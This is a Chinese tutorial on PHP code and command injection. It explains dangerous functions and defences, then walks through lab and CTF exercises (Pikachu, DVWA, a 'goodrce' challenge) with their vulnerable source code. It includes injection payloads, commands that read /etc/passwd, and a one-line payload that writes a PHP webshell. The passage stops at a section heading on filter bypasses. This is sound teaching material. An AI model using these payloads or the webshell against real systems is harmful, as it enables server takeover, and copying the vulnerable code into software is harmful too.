命令和代码执行漏洞

1.代码执行 ≠ 命令执行

1.1 原理对比

很多初学者容易混淆“代码执行”与“命令执行”。虽然结果看起来很像(都能控制服务器),但它们的执行层面利用语言完全不同。

特性 代码执行 (Code Execution) 命令执行 (Command Execution)
定义 攻击者注入的代码被 Web 应用程序解释器 执行。 攻击者注入的命令被 操作系统 Shell 执行。
执行引擎 PHP 解释器 (Zend Engine) System Shell (/bin/bash, cmd.exe)
输入内容 PHP 语法代码 (如 phpinfo();, file_put_contents()) 系统命令 (如 ls, whoami, net user)
典型函数 eval(), assert(), call_user_func() system(), exec(), shell_exec()
危害等级 极高 (可操作网站文件、数据库、Session) 极高 (可直接接管服务器系统、提权)
相互转化 容易 (PHP 中可调用 system() 执行命令) 困难 (除非调用 php -r 等命令)

常见误区:

<?php eval("system('whoami');"); ?>   // ✅ 合法:eval 执行 PHP 代码,其中调用 system() 函数
<?php eval("whoami"); ?>             // ❌ 报错:`whoami` 不是 PHP 代码,是 Shell 命令,PHP 解析失败
<?php system("phpinfo();"); ?>       // ❌ 报错:`phpinfo();` 是 PHP 代码,不是 Shell 命令,bash 找不到该程序
<?php system("php -r 'phpinfo();'"); ?> // ✅ 合法:通过 shell 启动 php 解释器执行 PHP 代码

代码执行是“PHP 里跑 PHP”,命令执行是“PHP 里跑 Linux”。二者可嵌套(如 eval("system(...)")),但绝不能等同。

1.2 实际情况

在现实安全工作中:

  • 远程代码执行(Remote Code Execution)
  • 远程命令执行(Remote Command Execution)

现在通常都会统一归类为:RCE(远程代码执行) 并且在:

  • 漏洞评级
  • 风险通告
  • 漏洞修复优先级
  • 应急响应处置

中,默认认为危害等级等同,统一按“最高危”处理。

但这并不意味着它们在技术本质上已经没有区别

为什么现在“都叫 RCE 了”

1.2.1 RCE 的定义已经被“泛化”

在早期语境中:

  • RCE(狭义):执行目标语言的代码
    • PHP / Java / Python / .NET
  • Command Execution:执行系统命令
    • /bin/sh / cmd.exe

但在现代安全语境中(尤其是漏洞公告、CVE、甲方安全):

RCE = 攻击者可以远程让目标系统执行其控制的任意指令

不再关心:

  • 是 PHP eval
  • 还是 system
  • 还是 Runtime.exec
  • 还是反序列化后 getshell

1.2.2 从“攻击结果”看,二者高度收敛

在真实环境中:

能力 代码执行 命令执行
执行系统命令 几乎一定可以 直接具备
写文件 可以 可以
反弹 shell 可以 可以
部署 WebShell 可以 可以
横向移动 可以 可以
提权 可以 可以

一旦能远程执行任意内容,攻击链几乎完全一致。

所以从攻防结果看:

代码执行 ≈ 命令执行 ≈ 拿下服务器

1.3.1 现代语言/框架本身就在“模糊边界”

以 PHP 为例:

eval("system('whoami');");
assert("shell_exec('id');");

在 Java / Python / Node.js 中更明显:

  • Java:Runtime.execProcessBuilder
  • Python:eval / exec / os.system
  • Node.js:eval / child_process.exec

代码执行几乎必然可以转化为命令执行

所以很多安全报告已经懒得再细分。

1.3 工程和处置层面的合并

1.3.1 对甲方 / 管理者来说,区分没有价值

甲方最关心的不是:

“这是 eval 还是 system?”

而是:

“攻击者能不能在服务器上执行他想要的东西?”

答案只要是 “能”,就必须:

  • 立刻下线
  • 紧急修复
  • 资产排查
  • 日志溯源

1.3.2 WAF / RASP / 安全基线也是合并策略

现代安全产品通常策略是:

  • 统一拦截执行链
  • 统一标记为 RCE Attempt
  • 一般不再区分代码 / 命令

例如:

  • WAF:命中 evalsystemRuntime.exec → RCE
  • RASP:运行期命中 OS Command → RCE
  • 漏扫:只给你一个 RCE 高危

1.3.3 CVE / 漏洞通告的写法已经说明一切

现在大量 CVE 描述是:

“An attacker may execute arbitrary code on the target system.”

并不会细说:

  • 是 PHP 代码
  • 还是 Shell 命令

只要能控执行路径,就统称 RCE。

1.4 技术层面必须区分

1.4.1 执行上下文完全不同

维度 代码执行 命令执行
解释器 PHP / JVM / Python Shell / CMD
语法规则 编程语言语法 Shell 语法
过滤点 语言关键字 管道符、重定向
绕过方式 变量函数、回调 `; &&

很多 payload 在 PHP 里是语法错误,在 bash 里是完全正确的

1.4.2 审计与修复策略不同

  • 代码执行
    • 查 eval / assert / 反序列化
    • 查危险回调
  • 命令执行
    • 查 system / exec / Runtime.exec
    • 查字符串拼接

修复点不同,不区分会误导开发。

1.4.3 不区分必然“学不会 RCE”

很多人学 RCE 学不明白,原因只有一个:

一上来就把 RCE 当成一个东西学

结果:

  • PHP payload 打到 shell
  • shell 语法丢进 eval
  • 绕不过过滤却不知道原因

2.代码执行

2.1 漏洞原理

应用程序在调用执行函数时,没有对用户输入的参数进行严格过滤,导致攻击者传入的字符串被当做 PHP 代码执行。

2.2 核心危险函数

2.2.1 eval($code) —— 最经典、最危险的语言构造器

本质:语言构造器(不是函数),不可被 call_user_func() 调用,不可被 function_exists() 检测。

eval($string) 把参数中的字符串当做 php 代码执行。

语法细节:

  • 字符串必须是合法 PHP 代码
  • 末尾分号在语法完整时可省略(是否需要分号取决于 PHP 语法,而非 eval 本身)
  • 在开启短标签(short_open_tag=On)的情况下,支持 = 形式代码,(如 eval(''););
  • 支持变量解析(双引号内):$cmd="phpinfo"; eval("$cmd();");

PHP 8.2 实测

<?php 
// 全部成功(无需分号)
eval('phpinfo()');
eval('echo "hello"');
eval('var_dump($_SERVER)');
?>
//当 eval 字符串中 存在多条语句 时:,还是需要分号
eval("phpinfo(); echo 1"); // ✅

禁用检测ini_get('disable_functions') 中若含 evalPHP 直接 fatal error(无法运行),故实际环境中 eval 很少被禁用(禁了网站就挂了),但常被 WAF 规则拦截。

2.2.2 assert($code) ——PHP 7.0+ 中具备 eval 级执行能力的语言构造器

本质:自 PHP 7.0 起,assert 从普通函数升级为语言构造器,其在字符串参数场景下的执行行为与 eval() 等价,且不可再通过 call_user_func() 等方式动态调用。

关键特性

  • 字符串参数是否需要分号,取决于代码本身的语法完整性(是否为单条完整php语句);
  • 支持 assert('phpinfo()')
  • zend.assertions=1(默认)且 assert.exception=0 时生效;

配置项影响说明: zend.assertions 用于控制断言代码是否参与执行流程,其中 1 表示执行,0 表示跳过,-1 表示在编译期直接移除; assert.exception 仅影响断言失败时的处理方式(warning 或异常),不影响断言代码是否执行。 因此,在 zend.assertions=1 时,assert() 具备与 eval() 等价的代码执行能力。

断言代码,本来是“用来检查对不对的代码”,也就是写在 assert() 中、用于验证某个条件是否成立的代码或表达式。

PHP 8.2 实测绕过点

<?php 
// 即使 disable_functions 包含 assert,仍可执行(因是构造器)
assert('system("id")');
assert('include "/etc/passwd"'); // 文件包含
?>

防御重点php.ini 中设 zend.assertions=0(生产环境强制关闭)。

2.3 call_user_func($func, ...$params) —— “伪代码执行”,实为函数反射跳板

本质不是代码执行漏洞,是危险的函数调用跳板

利用链(当目标函数可被正常调用时,如 system 未被禁用、assert 处于可执行状态)

<?php 
// post: func=assert&param=phpinfo()
//但是注意assert 在 PHP 7.0+ 中不再是普通函数,无法通过 call_user_func 或变量函数调用;大量“call_user_func(assert)”的利用链仅适用于 PHP 5.x
call_user_func($_POST['func'], $_POST['param']);

// post: func=system&param=cat%20/etc/passwd
call_user_func($_POST['func'], $_POST['param']);
?>

注意:若 disable_functions 禁用了 system,此方式也无效(call_user_func 只是调用,不绕过禁用)。

什么是反射

反射(Reflection)在运行时,通过“名字(字符串)”动态定位、调用或操作程序结构(函数、方法、类、属性)的能力。

关键词只有三个:

  • 运行时
  • 字符串形式的标识符
  • 操作程序结构本身

比如最基础的反射调用

$func = 'phpinfo';
$func();        // 变量函数

这里发生了什么?

  • 'phpinfo' 是字符串
  • PHP 在运行时把它当成函数名
  • 然后执行这个函数

➡ 这就是最基础的反射调用

所以使用call_user_func有什么好处?

情况 1:函数是写死的(无反射)

assert($_POST['param']);

特点:

  • ✅ 已经是明确的危险执行点
  • ❌ 攻击面固定
  • ❌ 防守方一眼就能看出来

这就是经典 RCE / 命令执行漏洞

情况 2:函数名可控(反射跳板)

call_user_func($_POST['func'], $_POST['param']);

特点:

  • 真正危险点在 $func
  • 执行能力是“间接获得的”
  • 漏洞本身不写死执行函数

这类漏洞的本质是:

把“函数选择权”交给了用户

所以 call_user_func它扩大了攻击面

写死调用:

assert($_POST['param']);

攻击者只能:

  • 利用 assert
  • 或完全放弃

而反射调用:

call_user_func($_POST['func'], $_POST['param']);

攻击者可以枚举:

  • assert
  • system
  • passthru
  • shell_exec
  • phpinfo
  • file_put_contents
  • unlink
  • ……

攻击面取决于环境,而不是源码作者的想象。

同时它更容易绕过审计与 WAF

很多防护是基于特征匹配的

  • system(
  • exec(
  • assert(

但在代码里:

call_user_func($f, $p);
  • 看不到危险函数名
  • 静态分析难度显著增加
  • 真实危险在“运行期”

那“效果”到底是不是一样?

从 PHP 执行结果看(调用assert需要php5.X,高版本不行)

call_user_func('assert', 'phpinfo()');

assert('phpinfo()');

执行效果是一样的

call_user_func('system', 'id');

system('id');

执行效果也是一样的

2.4 create_function($args, $code) ——高版本无法使用

PHP 7.2 起废弃,PHP 8.0+ 完全移除。在 PHP 8 环境会报 Fatal error: Uncaught Error: Call to undefined function create_function()

函数本质

create_function() 用于动态创建并返回匿名函数,但其内部实现本质等同于 eval()

传入的 $code 参数会在函数创建阶段被解析并执行。

因此,它在安全语义上属于明确的代码执行函数

语法形式

create_function(string $args, string $code): Closure

典型危险示例(PHP < 8.0)

<?php
$code = $_POST['func'];
$func = create_function('', $code);
$func();
?>
// POST: func=phpinfo();

执行流程说明

  1. 用户输入进入 $code
  2. create_function() 内部通过 eval() 解析代码
  3. 匿名函数被动态生成
  4. 调用匿名函数,完成代码执行

2.5 array_map($func, $arr) / usort($arr, $func) —— 高阶反射调用

本质:同 call_user_func,是函数调用容器,非代码执行。

利用示例(需目标存在可控数组):

<?php 
// 若 $data 来自用户输入且未过滤
$data = ["1","2","3"];
array_map($_GET['f'], $data); // f=system → system("1"), system("2"), system("3")
?>

2.6 代码执行函数总结表(PHP 8.2 环境)

函数 是否语言构造器 是否可被 call_user_func 调用 是否受 disable_functions 影响 PHP 8.2 说明
eval ✅ 是 ❌ 否 ❌ 否(不能被禁用 ✅ 始终存在
assert ⚠️ 是(PHP 7+,但语义特殊) ❌ 否(5.X可以) ⚠️ 部分受影响 ✅ 仅在 zend.assertions=1
call_user_func ❌ 否 ✅ 是 ❌ 否(自身不可禁用) ✅ 支持
create_function ❌ 否 ✅ 是 ✅ 是 🚫 PHP 8.0+ 已移除

2.7 防御方法

  1. 禁止将用户输入作为代码执行

    • 严禁使用 eval()assert(string)create_function() 等动态代码执行方式
    • 任何“字符串 → PHP 代码”的执行路径都应视为高危设计
  2. 使用结构化数据替代 eval

    • 使用 json_encode() / json_decode() 保存和读取数组或对象
    • 配置数据使用 .php 返回数组或 .json 文件
    • 模板渲染使用模板引擎,避免直接执行字符串代码
  3. 采用白名单映射代替动态函数调用

    $actions = [
        'add' => fn() => addUser(),
        'del' => fn() => deleteUser(),
    ];
    
    if (isset($actions[$_GET['act']])) {
        $actions[$_GET['act']]();
    }
    
    • 禁止直接使用用户输入作为函数名或代码片段
  4. 避免反射式函数调用

    • 禁止 $func()call_user_func($_GET['func']) 等可变函数调用方式
    • 回调函数只能来自预定义、安全的函数集合
  5. 彻底弃用 preg_replace/e 修饰符

    • /e 修饰符在 PHP 5.5 起废弃,等价于 eval
    • 应使用 preg_replace_callback() 完全替代
    • 不应尝试通过转义或单引号等方式“修补” /e
  6. 明确转义函数的适用边界

    • addslashes()magic_quotes_gpc(已废弃)不能防止代码执行
    • htmlspecialchars()htmlentities() 仅用于防 XSS
    • mysql_real_escape_string() 仅用于防 SQL 注入

    转义并不能解决代码执行问题,安全应从设计层面保障

  7. 环境层面的兜底防护

    • 通过 disable_functions 禁用高危系统函数(如 systemexec
    • 使用 open_basedir 限制文件系统访问范围
    • 生产环境关闭 display_errors,避免敏感信息泄露

3.命令执行

命令执行漏洞(Command Injection)是指攻击者通过 Web 应用程序的输入接口(如表单、URL 参数),注入恶意的系统命令,从而在服务器上以 Web 服务的权限执行这些命令。这通常源于代码在调用系统命令函数时,未对用户输入进行严格的过滤或验证。

在 PHP 中,提供了多种执行系统外部程序的函数。根据输出方式(是否直接显示)和获取结果方式(字符串还是数组),可以将它们分类如下:

3.1 有回显函数 (直接输出到页面)

这些函数在执行时,会自动将结果打印到标准输出(即网页前端),无需配合 echo

3.1.1 system()

执行外部程序,并显示输出。

  • 特点:自动输出全部结果至页面。
  • 返回值:返回命令输出的最后一行(失败返回 false)。
  • 状态码:通过引用参数 $return_var 获取。
// string system ( string $command [, int &$return_var ] )

<?php
    $last_line = system("whoami", $status);
    // 页面直接显示: root
    // $last_line 的值为 "root"
    // $status 的值为 0 (表示成功)
?>

3.1.2 passthru()

执行外部程序,并显示原始输出。

  • 特点:与 system 类似,但它直接通过标准输出流传递二进制数据。
  • 应用场景:常用于处理图像或非文本数据的命令输出。
  • 返回值void(无返回值)。
// void passthru ( string $command [, int &$return_var ] )

<?php
    passthru("whoami");
    // 页面直接显示: root
?>

3.2 无回显函数 (需配合输出)

这些函数执行命令后不会直接打印到页面,而是将结果作为字符串或数组返回,或者需要通过管道读取。

3.2.1 exec()

执行一个外部程序。

  • 特点无回显。只返回输出的最后一行。
  • 获取完整输出:必须通过第二个参数 $output(数组)来获取所有输出行。
// string exec ( string $command [, array &$output [, int &$return_var ]] )

<?php
    // $output 数组将包含命令输出的每一行
    exec("ls -la", $output);
    print_r($output);
?>
//也可以配合echo
<?php echo exec("whoami");?>

3.2.2 shell_exec()

通过 shell 执行命令,并将完整的输出作为字符串返回。

  • 特点无回显。适合获取大段文本输出。
  • 注意:如果返回值为 NULL,可能发生了错误或命令无输出。
// string shell_exec ( string $cmd )

<?php
    $output = shell_exec("whoami");
    echo $output;
?>
//或者直接echo
<?php echo shell_exec("whoami");?>

补充:反引号运算符 (`)

  • 反引号是 shell_exec() 的等价变体。

  • PHP 会尝试执行反引号中的内容。

注意:如果 shell_exec 被禁用(php.ini 中 disable_functions),反引号也将无法使用。

示例:

<?php echo `whoami`; ?>

3.3 特殊执行函数

3.3.1 popen()

打开一个指向进程的管道。

  • 特点:不会直接返回结果,而是返回一个文件指针。
  • 用法:需要配合 fread()fgets() 读取管道内容,最后用 pclose() 关闭。
  • 模式'r' (读) 或 'w' (写)。
resource popen(string $command ,string $mode)
函数需要两个参数,一个是执行的命令 command ,另外一个是指针文件的连接模式 mode ,有 r和w代表读和写。
函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行。
popen() 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose()来关闭。
此指针可以用于 fgets() ,fgetss() 和 fwrite()
//<?php popen( 'whoami', 'w' ); ?>

3.3.2 pcntl_exec()

在当前进程空间执行指定程序。

  • 特点进程替换。执行后,当前 PHP 脚本会停止,控制权完全交给新程序。
  • 依赖:仅限 Linux,且需要安装 pcntl 扩展。
  • 参数
    • path: 可执行二进制文件的绝对路径。
    • args: 参数数组。
// void pcntl_exec ( string $path [, array $args [, array $envs ]] )

<?php pcntl_exec( "/bin/bash" , array("whoami"));?>

3.4 命令执行函数对比

函数 是否自动回显 返回值内容 获取完整输出方式 备注
system() ✅ 是 输出的最后一行 页面直接显示 最常用,自带回显
passthru() ✅ 是 无 (Void) 页面直接显示 适合二进制/原始数据输出
exec() ❌ 否 输出的最后一行 使用第二个参数 $output (数组) 适合需处理每行结果时
shell_exec() ❌ 否 完整输出 (字符串) echo 返回值 同反引号 (```)
popen() ❌ 否 文件指针 (Resource) fread($fp) 管道流操作

4.注入方式/命令执行相关基础

4.1 文件内容查看常用命令(Linux)

在命令执行或命令注入场景中,读取文件内容是最常见的利用目标之一,Linux 下常用的文件查看命令包括:

命令 描述 绕过场景/备注
cat 由第一行开始显示所有内容 最常用的读取命令,常被过滤。
tac 倒序显示 (从最后一行到第一行) cat 的反向拼写,常用于绕过 cat 关键字检测。
nl 显示内容并输出行号 类似于 cat -n,常用于绕过文本内容过滤。
more 一页一页显示内容 只能向后翻页。
less 与 more 类似,功能更强 支持向前/向后翻页,支持搜索。
head 查看文件前几行 默认前10行,可用 -n 指定行数。
tail 查看文件后几行 默认后10行。
tailf 实时跟踪文件末尾 类似 tail -f,常用于查看日志。
od 二进制/八进制读取内容 配合 -c 参数 (od -c flag.php) 可读取特殊字符或二进制文件。
vi / vim 文本编辑器 在交互式 shell 中打开文件,也可用于读取。
sort 对文本内容排序并输出 如果文件只有一行,效果等同于读取。
uniq 检查或删除重复行 默认会输出处理后的内容,可用作读取。

在命令注入中,这些命令经常与管道符、逻辑符组合使用,用于绕过限制或精简输出。

4.2 转义字符差异

  • Linux / Unix 系统:转义字符为 \
  • Windows 系统:转义字符为 ^

在构造命令注入 payload 时,不同操作系统对特殊字符的解析行为差异非常关键。

4.3 管道符与命令连接符

在命令执行或命令注入场景中,命令是否“为假”,通常可以理解为以下两种情况之一:

  • 命令本身不存在或无法执行
  • 命令执行失败,返回非 0 状态码

不同的连接符,决定了后续命令是否会被执行

4.3.1 Linux 环境

4.3.1.1 分号 ;

分号用于顺序执行命令,不关心前一条命令是否执行成功,前后命令都会被执行。

ls ; whoami

在命令注入中,; 是最直接、最常用的命令拼接方式。

4.3.1.2 管道符 |

管道符会将前一条命令的标准输出作为后一条命令的标准输入后一条命令一定会被执行,但是否有有效输入取决于前一条命令的输出。

ls | whoami

在注入场景中,| 常用于绕过对 ;&& 的过滤。

4.3.1.3 逻辑或 ||

当且仅当前一条命令执行失败时,才会执行后一条命令; 如果前一条命令执行成功,则不会执行后一条。

ls || whoami

在实际利用中,|| 常被用于探测命令是否成功执行

4.3.1.4 逻辑与 &&

只有在前一条命令执行成功的情况下,才会继续执行后一条命令; 若前一条命令失败,后一条命令不会执行。

ls && whoami

在命令注入中,&& 常用于确保执行环境可控后再执行关键命令。

4.3.1.5 单个与符号 &

& 会将前一条命令放入后台执行,同时继续执行后一条命令, 前后命令都会执行,与前一条命令成功或失败无关

ls & whoami

在某些过滤场景中,& 可作为 ; 的替代。

4.3.2 Windows 环境(CMD)

Windows 下命令连接符的含义与 Linux 基本一致,但执行环境为 CMD。

4.3.2.1管道符 |

将前一条命令的输出传递给后一条命令,后一条命令一定会被执行。

dir | whoami
4.3.2.2 逻辑或 ||

当前一条命令执行失败时,才会执行后一条命令; 若前一条成功,后一条不会执行。

dir || whoami
4.3.2.3 逻辑与 &&

只有当前一条命令执行成功时,才会执行后一条命令; 前一条失败,后一条不执行。

dir && whoami
4.3.2.4 与符号 &

无论前一条命令是否成功,前后命令都会被执行。

dir & whoami

4.3.3 总结

  • ;&无条件执行后续命令
  • &&||依赖前一条命令的执行结果
  • |即使前一条命令无效,后一条命令仍会执行

理解这些连接符的执行逻辑,是构造和分析命令注入 payload 的基础。

4.4 命令注释符

在命令注入中,注释符常用于截断原有命令,忽略后续参数或语法,确保恶意命令顺利执行。

4.4.1 不同系统的注释符

  • Linux / Bash#
  • Windows / BAT::(多用于批处理脚本)

示例(Linux):

ping 127.0.0.1 # whoami

# 后的内容将被当作注释,不再执行。

5.远程命令执行靶场实战

5.1 Pikachu

5.1.1 ping

可以看到当我们输入一个IP地址就可以触发一个 ping IP 地址 的操作,所以我们是不是可以利用前面的注入方式来执行命令 image-20240228162700447 使用如下命令

127.0.0.1&whoami

image-20240228162706407 但是可以发现有的在cmd终端执行就可以,但是用burp重放的时候就没有效果: ping 127.0.0.1 & whoami 因为在数据包中的结果就会变成 ipaddress=127.0.0.1&whoami&submit=ping ,可以看到这个&whoami 就会被解析成一个参数,所以导致这个payload失效了。所以在能够执行的命令的payload中不能使用&字符,但是如果使用浏览器直接输入会怎么样呢?可以看到被正常执行了 image-20240228162711844 尝试如下的代码

ipaddress=127.0.0.1|whoami&submit=ping
ipaddress=11||whoami&submit=ping
ipaddress=127.0.0.1|ipconfig &submit=ping

image-20240228162721285 image-20240228162728516 ipconfig是windows的cmd下的命令,Linux下可以使用ifconfig进行查看,如果ifconfig未安装:apt -y install net-tools image-20240228162733488

源码分析

<?php 
$result='';

if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
    $ip=$_POST['ipaddress'];
//     $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255
    if(stristr(php_uname('s'), 'windows')){
//         var_dump(php_uname('s'));
        $result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
    }else {
        $result.=shell_exec('ping -c 4 '.$ip);
    }

}
?>

可以看到使用POST接受了submit和ipaddress两个数据,然后使用 php_uname('s') 获取系统的操作类型,然后做shell_exec跟拼接导致命令执行。

5.1.2 eval

可以看到当我们输入正常的Linux的命令没有正常拿到预期的结果,但是如果输入 phpinfo() ; 就会被正常解析,所以猜测后端大概是eval函数写的。 image-20240228162941196 所以我们可以使用eval函数执行phpinfo的话也可以执行system命令

txt=phpinfo();&submit=%E6%8F%90%E4%BA%A4
txt=system("whoami");&submit=%E6%8F%90%E4%BA%A4
写入一句话
fputs(fopen('shell.php','w'),'<?php @assert($_POST[shell]);?>');
http://d19.s.iproute.cn//vul/rce/shell.php

image-20240228162947420 image-20240228162952627

源码分析

$html='';
if(isset($_POST['submit']) && $_POST['txt'] != null){
    if(@!eval($_POST['txt'])){
        $html.="<p>你喜欢的字符还挺奇怪的!</p>";
    }
}

可以看到使用POST接受了submit和txt两个数据,然后做eval跟拼接导致命令执行。 此处有一个@符号,是错误抑制符,用来屏蔽eval()函数可能导致的错误和异常,但是不能完全避免命令执行。

5.2 DVWA-command injection

5.2.1 low

输入以下命令都可以执行

;被过滤,以下分隔符都可以

5.2.2 medium

可以看到过滤了&&和; 所以依旧可以使用 127.0.0. || whoami执行命令

image-20260125153902412

5.2.3 high

黑名单看似过滤了所有的非法字符,但仔细观察到是把|(注意这里|后有一个空格)替换为空字符,于是 |成了“漏网之鱼”。

可以使用 127.0.0 |ipconfig

image-20260125154245788

方法还有很多

5.3 goodrce

内部靶场平台,goodrce题目

image-20260126130850872

Tips:

index.php源码

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>牛曰</title>
</head>

<body>
    <?php
    // 你猜猜/tmp/flag里面有啥
    function blacklist($str){
        $flag = 0;
        if(preg_match('/\|/', $str)){$flag = 1;}
        if(preg_match('/;/', $str)){$flag = 1;}
        // if(preg_match('/\&/', $str)){$flag = 1;}
        if(preg_match('/\\/', $str)){$flag = 1;}
        if(preg_match('/\$/', $str)){$flag = 1;}
        if(preg_match('/cat/', $str)){$flag = 1;}
        if(preg_match('/less/', $str)){$flag = 1;}
        if(preg_match('/head/', $str)){$flag = 1;}
        if(preg_match('/tail/', $str)){$flag = 1;}
        if(preg_match('/tac/', $str)){$flag = 1;}
        if(preg_match('/\s/', $str)){$flag = 1;}
        if(preg_match('/\?/', $str)){$flag = 1;}
        if(preg_match('/\*/', $str)){$flag = 1;}
        if(preg_match('/\-/', $str)){$flag = 1;}
        if(preg_match('/flag/i', $str)){$flag = 1;}
        return $flag;
    }
    $f = array("apt","bud-frogs","bunny","calvin","cheese","cock","cower","daemon","default","dragon
    dragon-and-cow","duck","elephant","elephant-in-snake","eyes","flaming-sheep
    ghostbusters","gnu","hellokitty","kiss","koala","kosh","luke-koala","mech-and-cow","milk
    moofasa","moose","pony","pony-smaller","ren","sheep","skeleton","snowman","stegosaurus
    stimpy","suse","three-eyes","turkey","turtle","tux","unipony","unipony-smaller","vader
    vader-koala","www");
    $randf = $f[array_rand($f)];
    $msg = "";
    if (isset($_POST['node'])) {
        $node = $_POST['node'];
        if(blacklist($node)){
            exit("<script>alert('你干嘛呢!这点三脚猫功夫,再好好听听课学习学习!')</script>");
        }
        $msg = "<pre>" . shell_exec("ping -c 1 $node | /usr/games/cowsay -f $randf") . "</pre>";
    }
    ?>
    <style>
        .box {
            position: absolute;
            left: 50%;
            top: 50%;
            transform: translate(-50%, -50%);
            text-align: center;

            input {
                display: block;
                margin: 20px auto;
            }

            select {
                padding: 18px 30px;
                font-size: 24px;
                border-radius: 10px;
                transition: .5s;
                color: blue;
            }

            select:hover {
                box-shadow: 5px 5px 10px black;
            }

            input[type="submit"] {
                padding: 10px 20px;
                font-size: 22px;
                border-radius: 5px;
                background-color: white;
            }
        }

        pre {
            font-family: 'Courier New', Courier, monospace;
            color: white;
            background-color: #111;
            padding: 10px 20px;
            border-radius: 5px;
        }
    </style>
    <div class="box">
        <form method="post">
            <h1>选择你要测试的矿机</h1>
            <select name="node" id="">
                <option value="127.0.0.1">矿机1</option>
                <option value="127.0.0.2">矿机2</option>
                <option value="127.0.0.3">矿机3</option>
                <option value="127.0.0.4">矿机4</option>
                <option value="127.0.0.5">矿机5</option>
                <option value="127.0.0.6">矿机6</option>
                <option value="127.0.0.7">矿机7</option>
                <option value="127.0.0.8">矿机8</option>
                <option value="127.0.0.9">矿机9</option>
                <option value="127.0.0.10">矿机10</option>
                <option value="127.0.0.11">矿机11</option>
                <option value="127.0.0.12">矿机12</option>
                <option value="127.0.0.13">矿机13</option>
                <option value="127.0.0.14">矿机14</option>
                <option value="127.0.0.15">矿机15</option>
                <option value="127.0.0.16">矿机16</option>
                <option value="127.0.0.17">矿机17</option>
                <option value="127.0.0.18">矿机18</option>
                <option value="127.0.0.19">矿机19</option>
                <option value="127.0.0.20">矿机20</option>
                <option value="127.0.0.21">矿机21</option>
                <option value="127.0.0.22">矿机22</option>
                <option value="127.0.0.23">矿机23</option>
                <option value="127.0.0.24">矿机24</option>
                <option value="127.0.0.25">矿机25</option>
                <option value="127.0.0.26">矿机26</option>
                <option value="127.0.0.27">矿机27</option>
                <option value="127.0.0.28">矿机28</option>
                <option value="127.0.0.29">矿机29</option>
                <option value="127.0.0.30">矿机30</option>
                <option value="127.0.0.31">矿机31</option>
                <option value="127.0.0.32">矿机32</option>
                <option value="127.0.0.33">矿机33</option>
                <option value="127.0.0.34">矿机34</option>
                <option value="127.0.0.35">矿机35</option>
                <option value="127.0.0.36">矿机36</option>
                <option value="127.0.0.37">矿机37</option>
                <option value="127.0.0.38">矿机38</option>
                <option value="127.0.0.39">矿机39</option>
                <option value="127.0.0.40">矿机40</option>
                <option value="127.0.0.41">矿机41</option>
                <option value="127.0.0.42">矿机42</option>
                <option value="127.0.0.43">矿机43</option>
                <option value="127.0.0.44">矿机44</option>
                <option value="127.0.0.45">矿机45</option>
                <option value="127.0.0.46">矿机46</option>
                <option value="127.0.0.47">矿机47</option>
                <option value="127.0.0.48">矿机48</option>
                <option value="127.0.0.49">矿机49</option>
                <option value="127.0.0.50">矿机50</option>
                <option value="127.0.0.51">矿机51</option>
                <option value="127.0.0.52">矿机52</option>
                <option value="127.0.0.53">矿机53</option>
                <option value="127.0.0.54">矿机54</option>
                <option value="127.0.0.55">矿机55</option>
                <option value="127.0.0.56">矿机56</option>
                <option value="127.0.0.57">矿机57</option>
                <option value="127.0.0.58">矿机58</option>
                <option value="127.0.0.59">矿机59</option>
                <option value="127.0.0.60">矿机60</option>
                <option value="127.0.0.61">矿机61</option>
                <option value="127.0.0.62">矿机62</option>
                <option value="127.0.0.63">矿机63</option>
                <option value="127.0.0.64">矿机64</option>
                <option value="127.0.0.65">矿机65</option>
                <option value="127.0.0.66">矿机66</option>
                <option value="127.0.0.67">矿机67</option>
                <option value="127.0.0.68">矿机68</option>
                <option value="127.0.0.69">矿机69</option>
                <option value="127.0.0.70">矿机70</option>
                <option value="127.0.0.71">矿机71</option>
                <option value="127.0.0.72">矿机72</option>
                <option value="127.0.0.73">矿机73</option>
                <option value="127.0.0.74">矿机74</option>
                <option value="127.0.0.75">矿机75</option>
                <option value="127.0.0.76">矿机76</option>
                <option value="127.0.0.77">矿机77</option>
                <option value="127.0.0.78">矿机78</option>
                <option value="127.0.0.79">矿机79</option>
                <option value="127.0.0.80">矿机80</option>
                <option value="127.0.0.81">矿机81</option>
                <option value="127.0.0.82">矿机82</option>
                <option value="127.0.0.83">矿机83</option>
                <option value="127.0.0.84">矿机84</option>
                <option value="127.0.0.85">矿机85</option>
                <option value="127.0.0.86">矿机86</option>
                <option value="127.0.0.87">矿机87</option>
                <option value="127.0.0.88">矿机88</option>
                <option value="127.0.0.89">矿机89</option>
                <option value="127.0.0.90">矿机90</option>
                <option value="127.0.0.91">矿机91</option>
                <option value="127.0.0.92">矿机92</option>
                <option value="127.0.0.93">矿机93</option>
                <option value="127.0.0.94">矿机94</option>
                <option value="127.0.0.95">矿机95</option>
                <option value="127.0.0.96">矿机96</option>
                <option value="127.0.0.97">矿机97</option>
                <option value="127.0.0.98">矿机98</option>
                <option value="127.0.0.99">矿机99</option>
                <option value="127.0.0.100">矿机100</option>
            </select>
            <input type="submit">
        </form>
        <?php echo $msg; ?>
    </div>
    <style>
        #footer {
            position: absolute;
            left: 50%;
            bottom: 10%;
            transform: translate(-50%, -50%);
            color: skyblue;
            text-shadow: 1px 1px 2px black;
            font-size: 18px;
        }
    </style>
    <div id="footer">
        &copy;Copyright Alice <?php echo date('Y') ?>.
    </div>

</body>

5.4 rce-labs

项目地址:https://github.com/ProbiusOfficial/RCE-labs

这里可以使用CTF PLUS的靶场

https://www.ctfplus.cn/

搜索rce即可

image-20260125160646510

wp可以参考

https://btop251.top/posts/ctf/rce-labs01/

https://www.cnblogs.com/F07on3/articles/18834568

5.5 RCE-labs 命令执行

另一个版本的rce-labs,项目地址:https://github.com/Apursuit/rce-labs

http://152.32.174.173:8080/

http://39.105.197.12:8089/

6. 绕过技术

在命令执行漏洞中,防御往往依赖于关键字过滤、空格过滤、长度限制、无参数限制等方式。 绕过的本质,是利用 Shell 的解析规则、环境变量、重定向机制和字符串拼接能力,在不使用“显眼特征”的前提下完成等价命令执行

6.1 空格绕过

